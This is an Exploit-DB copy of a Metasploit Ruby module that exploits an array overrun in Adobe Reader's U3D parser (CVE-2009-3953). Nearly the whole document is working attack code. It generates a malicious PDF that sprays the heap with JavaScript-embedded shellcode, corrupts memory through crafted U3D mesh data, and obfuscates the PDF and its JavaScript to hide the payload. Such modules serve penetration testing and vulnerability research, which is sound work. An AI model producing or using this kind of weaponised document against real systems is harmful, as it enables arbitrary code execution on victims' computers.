Adobe – U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (2)

  • 作者: Metasploit
    日期: 2010-09-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16622/
  • ##
    # $Id: adobe_u3d_meshdecl.rb 10477 2010-09-25 11:59:02Z mc $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'zlib'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
    			'Description'=> %q{
    					This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
    					Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
    					specially crafted pdf that a contains malformed U3D data, an attacker may
    					be able to execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
    					'jduck'
    				],
    			'Version'=> '$Revision: 10477 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-3953' ],
    					[ 'OSVDB', '61690' ],
    					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'DisablePayloadHandler' => 'true',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00",
    					'DisableNops'	 => true
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# test results (on Windows XP SP3)
    					# reader 7.0.5 - untested
    					# reader 7.0.8 - untested
    					# reader 7.0.9 - untested
    					# reader 7.1.0 - untested
    					# reader 7.1.1 - untested
    					# reader 8.0.0 - untested
    					# reader 8.1.2 - works
    					# reader 8.1.3 - not working :-/
    					# reader 8.1.4 - untested
    					# reader 8.1.5 - untested
    					# reader 8.1.6 - untested
    					# reader 9.0.0 - untested
    					# reader 9.1.0 - works
    					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
    						{
    							'Size'		=> (6500/20),
    							'DataAddr'	=> 0x09011020,
    							'WriteAddr'	=> 0x7c49fb34,
    						}
    					],
    				],
    			'DisclosureDate' => 'Oct 13 2009',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
    			], self.class)
    
    	end
    
    
    
    	def exploit
    		# Encode the shellcode.
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Make some nops
    		nops= Rex::Text.to_unescape(make_nops(4))
    
    =begin
    
    Original notes on heap technique used in this exploit:
    
    ## PREPAREHOLES:
    ## We will construct 6500*20 bytes long chunks starting like this
    ## |0 |6 |8 |C|24|size
    ## |00000...|0100|20100190|0000...|......pad...... |
    ## \\
    ## \\ -Pointer: to controlled data
    ## \ -Flag: must be 1
    ## -Adobe will handle this ragged structure if the Flag is on.
    ## -Adobe will get 'what to write where' from the memory pointed
    ##by our supplied Pointer.
    ##
    ## then allocate a bunch of those ..
    ## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
    ##|XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
    ##
    ## and then free some of them...
    ## .. | chunk | free| chunk |free| chunk |free| chunck | ..
    ##|XXXXXXX| |XXXXXXX||XXXXXXX||XXXXXXXX|
    ##
    ## This way controlling when the next 6500*20 malloc will be
    ## followed with. We freed more than one hole so it became tolerant
    ## to some degree of malloc/free trace noise.
    ## Note the 6500 is arbitrary it should be a fairly unused chunk size
    ## not big enough to cause a different type of allocation.
    ## Also as we don't need to reference it from anywhere we don't care
    ## where this hole layout is placed in memory.
    
    ## PREPAREMEMORY:
    ## In the next technique we make a big-chunk of 0x10000 bytes
    ## repeating a 0x1000 bytes long mini-chunk of controled data.
    ## Big-chunks are always allocated aligned to 0x1000. And if we
    ## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
    ## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
    ## will have our mini chunk
    ##
    ## A mini-chunk will have this look
    ##
    ## |0 |10|54 |? |0xff0|0x1000
    ## |00000...|POINTERS|nops | shellcode|pad|
    ##
    ## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
    ## But we use 0x09011064.
    ## POINTERS looks like this:
    ## ...
    
    =end
    
    		# prepare the hole
    		daddr = target['DataAddr']
    		hole_data = [0,0,1,daddr].pack('VvvV')
    		#padding
    		hole_data << "\x00" * 24
    		hole = Rex::Text.to_unescape(hole_data)
    
    		# prepare ptrs
    		ptrs_data = [0].pack('V')
    		#where to write
    		ptrs_data << [target['WriteAddr'] / 4].pack('V')
    		#must be greater tan 5 and less than x for getting us where we want
    		ptrs_data << [6].pack('V')
    		#what to write
    		ptrs_data << [(daddr+0x10)].pack('V')
    		#autopointer for print magic(tm)
    		ptrs_data << [(daddr+0x14)].pack('V')
    		#function pointers for print magic(tm)
    		#pointing to our shellcode
    		ptrs_data << [(daddr+0x44)].pack('V') * 12
    		ptrs = Rex::Text.to_unescape(ptrs_data)
    
    		js_doc = <<-EOF
    function prepareHoles(slide_size)
    {
    	var size = 1000;
    	var xarr = new Array(size);
    	var hole = unescape("#{hole}");
    	var pad = unescape("%u5858");
    	while (pad.length <= slide_size/2 - hole.length)
    		pad += pad;
    	for (loop1=0; loop1 < size; loop1+=1)
    	{
    		ident = ""+loop1;
    		xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
    	}
    	for (loop2=0;loop2<100;loop2++)
    	{
    		for (loop1=size/2; loop1 < size-2; loop1+=2)
    		{
    			xarr[loop1]=null;
    			xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
    			xarr[loop1]=null;
    		}
    	}
    	return xarr;
    }
    
    function prepareMemory(size)
    {
    	var mini_slide_size = 0x1000;
    	var slide_size = 0x100000;
    	var xarr = new Array(size);
    	var pad = unescape("%ucccc");
    
    	while (pad.length <= 32 )
    		pad += pad;
    
    	var nops = unescape("#{nops}");
    	while (nops.length <= mini_slide_size/2 - nops.length)
    		nops += nops;
    
    	var shellcode = unescape("#{shellcode}");
    	var pointers = unescape("#{ptrs}");
    	var chunk = nops.substring(0,32/2) + pointers +
    		nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
    		shellcode + pad.substring(0,32/2);
    	chunk=chunk.substring(0,mini_slide_size/2);
    	while (chunk.length <= slide_size/2)
    		chunk += chunk;
    
    	for (loop1=0; loop1 < size; loop1+=1)
    	{
    		ident = ""+loop1;
    		xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
    	}
    	return xarr;
    }
    
    	var mem = prepareMemory(200);
    	var holes = prepareHoles(6500);
    	this.pageNum = 1;
    EOF
    		js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
    
    		# Obfuscate it up a bit
    		js_doc = obfuscate_js(js_doc,
    			'Symbols' => {
    				'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
    				'Methods' => %W{ prepareMemory prepareHoles }
    			}).to_s
    
    		# create the u3d stuff
    		u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
    
    		# Create the pdf
    		pdf = make_pdf(u3d, js_doc, js_pg1)
    
    		print_status("Creating '#{datastore['FILENAME']}' file...")
    
    		file_create(pdf)
    	end
    
    
    	def obfuscate_js(javascript, opts)
    		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    		js.obfuscate
    		return js
    	end
    
    
    	def RandomNonASCIIString(count)
    		result = ""
    		count.times do
    			result << (rand(128) + 128).chr
    		end
    		result
    	end
    
    	def ioDef(id)
    		"%d 0 obj\n" % id
    	end
    
    	def ioRef(id)
    		"%d 0 R" % id
    	end
    
    	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    	def nObfu(str)
    
    		result = ""
    		str.scan(/./u) do |c|
    			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    				result << "#%x" % c.unpack("C*")[0]
    			else
    				result << c
    			end
    		end
    		result
    	end
    
    	def ASCIIHexWhitespaceEncode(str)
    		result = ""
    		whitespace = ""
    		str.each_byte do |b|
    			result << whitespace << "%02x" % b
    			whitespace = " " * (rand(3) + 1)
    		end
    		result << ">"
    	end
    
    	def u3d_pad(str, char="\x00")
    		ret = ""
    		if (str.length % 4) > 0
    			ret << char * (4 - (str.length % 4))
    		end
    		return ret
    	end
    
    
    	def make_u3d_stream(size, meshname)
    
    		# build the U3D header
    		hdr_data = [1,0].pack('n*') # version info
    		hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    		hdr = "U3D\x00"
    		hdr << [hdr_data.length,0].pack('VV')
    		hdr << hdr_data
    
    		# mesh declaration
    		decl_data = [meshname.length].pack('v')
    		decl_data << meshname
    		decl_data << [0].pack('V') # chain idx
    		# max mesh desc
    		decl_data << [0].pack('V') # mesh attrs
    		decl_data << [1].pack('V') # face count
    		decl_data << [size].pack('V') # position count
    		decl_data << [4].pack('V') # normal count
    		decl_data << [0].pack('V') # diffuse color count
    		decl_data << [0].pack('V') # specular color count
    		decl_data << [0].pack('V') # texture coord count
    		decl_data << [1].pack('V') # shading count
    		# shading desc
    		decl_data << [0].pack('V') # shading attr
    		decl_data << [0].pack('V') # texture layer count
    		decl_data << [0].pack('V') # texture coord dimensions
    		# no textore coords (original shading ids)
    		decl_data << [size+2].pack('V') # minimum resolution
    		decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    		# quality factors
    		decl_data << [0x12c].pack('V') # position quality factor
    		decl_data << [0x12c].pack('V') # normal quality factor
    		decl_data << [0x12c].pack('V') # texture coord quality factor
    		# inverse quantiziation
    		decl_data << [0].pack('V') # position inverse quant
    		decl_data << [0].pack('V') # normal inverse quant
    		decl_data << [0].pack('V') # texture coord inverse quant
    		decl_data << [0].pack('V') # diffuse color inverse quant
    		decl_data << [0].pack('V') # specular color inverse quant
    		# resource params
    		decl_data << [0].pack('V') # normal crease param
    		decl_data << [0].pack('V') # normal update param
    		decl_data << [0].pack('V') # normal tolerance param
    		# skeleton description
    		decl_data << [0].pack('V') # bone count
    		# padding
    		decl_pad = u3d_pad(decl_data)
    		mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    		mesh_decl << decl_data
    		mesh_decl << decl_pad
    
    		# build the modifier chain
    		chain_data = [meshname.length].pack('v')
    		chain_data << meshname
    		chain_data << [1].pack('V') # type (model resource)
    		chain_data << [0].pack('V') # attributes (no bounding info)
    		chain_data << u3d_pad(chain_data)
    		chain_data << [1].pack('V') # number of modifiers
    		chain_data << mesh_decl
    		modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    		modifier_chain << chain_data
    
    		# mesh continuation
    		cont_data = [meshname.length].pack('v')
    		cont_data << meshname
    		cont_data << [0].pack('V') # chain idx
    		cont_data << [0].pack('V') # start resolution
    		cont_data << [0].pack('V') # end resolution
    		# no resolution update, unknown data follows
    		cont_data << [0].pack('V')
    		cont_data << [1].pack('V') * 10
    		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    		mesh_cont << cont_data
    		mesh_cont << u3d_pad(cont_data)
    
    		data = hdr
    		data << modifier_chain
    		data << mesh_cont
    
    		# patch the length
    		data[24,4] = [data.length].pack('V')
    
    		return data
    
    	end
    
    	def make_pdf(u3d_stream, js_doc, js_pg1)
    
    		xref = []
    		eol = "\x0a"
    		obj_end = "" << eol << "endobj" << eol
    
    		# the header
    		pdf = "%PDF-1.7" << eol
    
    		# filename/comment
    		pdf << "%" << RandomNonASCIIString(4) << eol
    
    		# js stream (doc open action js)
    		xref << pdf.length
    		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
    		pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    		pdf << "stream" << eol
    		pdf << compressed << eol
    		pdf << "endstream" << eol
    		pdf << obj_end
    
    		# js stream 2 (page 1 annot js)
    		xref << pdf.length
    		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
    		pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    		pdf << "stream" << eol
    		pdf << compressed << eol
    		pdf << "endstream" << eol
    		pdf << obj_end
    
    		# catalog
    		xref << pdf.length
    		pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
    		pdf << nObfu("/Pages ") << ioRef(5)
    		pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
    		pdf << obj_end
    
    		# outline
    		xref << pdf.length
    		pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
    		pdf << obj_end
    
    		# pages/kids
    		xref << pdf.length
    		pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
    		pdf << ioRef(10) << " " # empty page
    		pdf << ioRef(11) # u3d page
    		pdf << nObfu("]>>")
    		pdf << obj_end
    
    		# u3d stream
    		xref << pdf.length
    		pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
    		pdf << "stream" << eol
    		pdf << u3d_stream << eol
    		pdf << "endstream"
    		pdf << obj_end
    
    		# u3d annotation object
    		xref << pdf.length
    		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
    		pdf << "/3D/3DA <</A/PO/DIS/I>>"
    		pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
    		pdf << obj_end
    
    		# js dict (open action js)
    		xref << pdf.length
    		pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
    
    		# js dict (page 1 annot js)
    		xref << pdf.length
    		pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
    
    		# page 0 (empty)
    		xref << pdf.length
    		pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
    		pdf << nObfu(" >>")
    		pdf << obj_end
    
    		# page 1 (u3d/print)
    		xref << pdf.length
    		pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
    		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
    		pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
    		pdf << nObfu(">>")
    		pdf << obj_end
    
    		# xrefs
    		xrefPosition = pdf.length
    		pdf << "xref" << eol
    		pdf << "0 %d" % (xref.length + 1) << eol
    		pdf << "0000000000 65535 f" << eol
    		xref.each do |index|
    			pdf << "%010d 00000 n" % index << eol
    		end
    
    		# trailer
    		pdf << "trailer" << eol
    		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
    		pdf << "startxref" << eol
    		pdf << xrefPosition.to_s() << eol
    		pdf << "%%EOF" << eol
    
    	end
    
    end